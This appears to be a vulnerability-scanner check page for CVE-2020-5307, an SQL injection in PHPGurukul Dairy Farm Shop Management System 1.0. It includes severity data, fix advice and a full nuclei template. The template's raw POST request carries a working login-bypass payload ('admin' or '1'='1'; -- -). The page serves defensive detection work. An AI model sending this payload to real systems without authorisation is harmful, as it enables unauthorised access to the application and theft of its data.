PHPGurukul Dairy Farm Shop Management System 1.0 - SQL Injection

criticalseverity

9.8CVSS score

16.8%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

PHPGurukul Dairy Farm Shop Management System 1.0 is vulnerable to SQL injection, as demonstrated by the username parameter in index.php, the category and CategoryCode parameters in add-category.php, the CompanyName parameter in add-company.php, and the ProductName and ProductPrice parameters in add-product.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the PHPGurukul Dairy Farm Shop Management System 1.0.

How to confirm it

Send: POST /dfsms/
Positive when: contains in header "add-category.php" AND status 302

Run it with nuclei: nuclei -id CVE-2020-5307 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-5307

info:
  name: PHPGurukul Dairy Farm Shop Management System 1.0 - SQL Injection
  author: gy741
  severity: critical
  description: PHPGurukul Dairy Farm Shop Management System 1.0 is vulnerable to SQL injection, as demonstrated by the username parameter in index.php, the category and CategoryCode parameters in add-category.php, the CompanyName parameter in add-company.php, and the ProductName and ProductPrice parameters in add-product.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the PHPGurukul Dairy Farm Shop Management System 1.0.
  reference:
    - https://cinzinga.com/CVE-2020-5307-5308/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5307
    - https://www.exploit-db.com/exploits/47846
    - https://cinzinga.github.io/CVE-2020-5307-5308/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-5307
    cwe-id: CWE-89
    epss-score: 0.16769
    epss-percentile: 0.9706
    cpe: cpe:2.3:a:phpgurukul:dairy_farm_shop_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phpgurukul
    product: dairy_farm_shop_management_system
  tags: cve,cve2020,sqli,edb,phpgurukul,vuln

http:
  - raw:
      - |
        POST /dfsms/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin%27+or+%271%27+%3D+%271%27%3B+--+-&password=A&login=

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "add-category.php"

      - type: status
        status:
          - 302

References

Use this check only on systems you are authorised to test. Where the data comes from